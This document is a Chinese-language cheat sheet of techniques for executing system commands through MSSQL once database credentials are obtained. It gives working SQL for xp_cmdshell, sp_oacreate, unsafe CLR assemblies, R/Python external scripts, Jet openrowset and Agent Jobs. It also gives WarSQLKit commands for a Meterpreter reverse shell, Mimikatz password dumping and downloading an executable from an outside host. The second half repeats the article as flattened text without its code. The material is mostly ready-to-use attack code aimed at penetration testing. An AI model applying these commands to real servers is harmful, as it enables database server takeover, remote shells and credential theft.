Mssql数据库命令执行总结
字数 942 2025-08-25 22:58:41

MSSQL数据库命令执行技术总结

0x00 简介

本文总结了多种在MSSQL数据库中执行系统命令的技术方法,包括:

  • xp_cmdshell利用
  • COM组件利用
  • CLR利用
  • SQL Server 2016 R利用
  • SQL Server 2017 Python利用
  • 沙盒利用(openrowset)
  • Agent Job利用

0x01 xp_cmdshell利用

前提条件

  • Mssql数据库服务未降权
  • 已获取到数据库密码

技术细节

  1. 判断xp_cmdshell状态
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

存在即返回1

  1. 启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
  1. 执行命令
exec master..xp_cmdshell 'whoami'
  1. 恢复被删除的xp_cmdshell
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

0x02 COM组件利用

前提条件

  • Mssql数据库服务未降权
  • 已获取到数据库密码

技术细节

  1. 判断SP_OACREATE状态
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
  1. 启用SP_OACREATE
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
  1. 执行命令(无回显)
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

0x03 CLR利用

CLR简介

从SQL Server 2005开始,SQL Server集成了.NET Framework的公共语言运行时(CLR)组件,允许使用.NET语言编写存储过程、触发器等。

实施步骤

  1. 启用CLR功能
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
ALTER DATABASE master SET TRUSTWORTHY ON;
  1. 导入程序集(使用十六进制格式或文件):
CREATE ASSEMBLY [Database1] AUTHORIZATION [dbo] FROM 0x4D5A9000... WITH PERMISSION_SET = UNSAFE;
  1. 创建存储过程
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
  1. 执行命令
exec dbo.ExecCommand "whoami";

WarSQLKit工具

WarSQLKit是一个针对MSSQL CLR的渗透工具,提供多种功能:

  1. 基本命令执行:
EXEC sp_cmdExec 'whoami';
  1. 以SYSTEM权限执行:
EXEC sp_cmdExec 'whoami /RunSystemPriv';
  1. Meterpreter反向连接:
EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem';
  1. Mimikatz抓密码:
EXEC sp_cmdExec 'sp_Mimikatz';
  1. 文件下载:
EXEC sp_cmdExec 'sp_downloadFile http://test.com/file.exe C:\ProgramData\file.exe 300';

0x04 R和Python利用

前提条件

  • 已安装Machine Learning Services
  • 启用外部脚本:
EXEC sp_configure 'external scripts enabled', 1
RECONFIGURE WITH OVERRIDE

R脚本利用

EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));

Python脚本利用

exec sp_execute_external_script 
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

0x05 沙盒利用(openrowset)

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')

0x06 Agent Job利用

USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', 
@step_name = N'test_powershell_name1', 
@subsystem = N'PowerShell', 
@command = N'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt', 
@retry_attempts = 1, 
@retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';

备忘录

恢复组件

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
-- 其他组件恢复类似

总结

本文详细介绍了多种在MSSQL数据库中执行系统命令的技术,每种方法都有其特定的使用场景和前提条件。在实际渗透测试中,应根据目标环境选择合适的方法。CLR利用和WarSQLKit工具功能最为强大,但需要较高的权限;xp_cmdshell和COM组件利用较为常见;R/Python利用需要特定版本支持;沙盒和Agent Job利用则可以作为备用方案。

MSSQL数据库命令执行技术总结 0x00 简介 本文总结了多种在MSSQL数据库中执行系统命令的技术方法,包括: xp_ cmdshell利用 COM组件利用 CLR利用 SQL Server 2016 R利用 SQL Server 2017 Python利用 沙盒利用(openrowset) Agent Job利用 0x01 xp_ cmdshell利用 前提条件 Mssql数据库服务未降权 已获取到数据库密码 技术细节 判断xp_ cmdshell状态 : 存在即返回1 启用xp_ cmdshell : 执行命令 : 恢复被删除的xp_ cmdshell : 0x02 COM组件利用 前提条件 Mssql数据库服务未降权 已获取到数据库密码 技术细节 判断SP_ OACREATE状态 : 启用SP_ OACREATE : 执行命令(无回显) : 0x03 CLR利用 CLR简介 从SQL Server 2005开始,SQL Server集成了.NET Framework的公共语言运行时(CLR)组件,允许使用.NET语言编写存储过程、触发器等。 实施步骤 启用CLR功能 : 导入程序集 (使用十六进制格式或文件): 创建存储过程 : 执行命令 : WarSQLKit工具 WarSQLKit是一个针对MSSQL CLR的渗透工具,提供多种功能: 基本命令执行: 以SYSTEM权限执行: Meterpreter反向连接: Mimikatz抓密码: 文件下载: 0x04 R和Python利用 前提条件 已安装Machine Learning Services 启用外部脚本: R脚本利用 Python脚本利用 0x05 沙盒利用(openrowset) 0x06 Agent Job利用 备忘录 恢复组件 总结 本文详细介绍了多种在MSSQL数据库中执行系统命令的技术,每种方法都有其特定的使用场景和前提条件。在实际渗透测试中,应根据目标环境选择合适的方法。CLR利用和WarSQLKit工具功能最为强大,但需要较高的权限;xp_ cmdshell和COM组件利用较为常见;R/Python利用需要特定版本支持;沙盒和Agent Job利用则可以作为备用方案。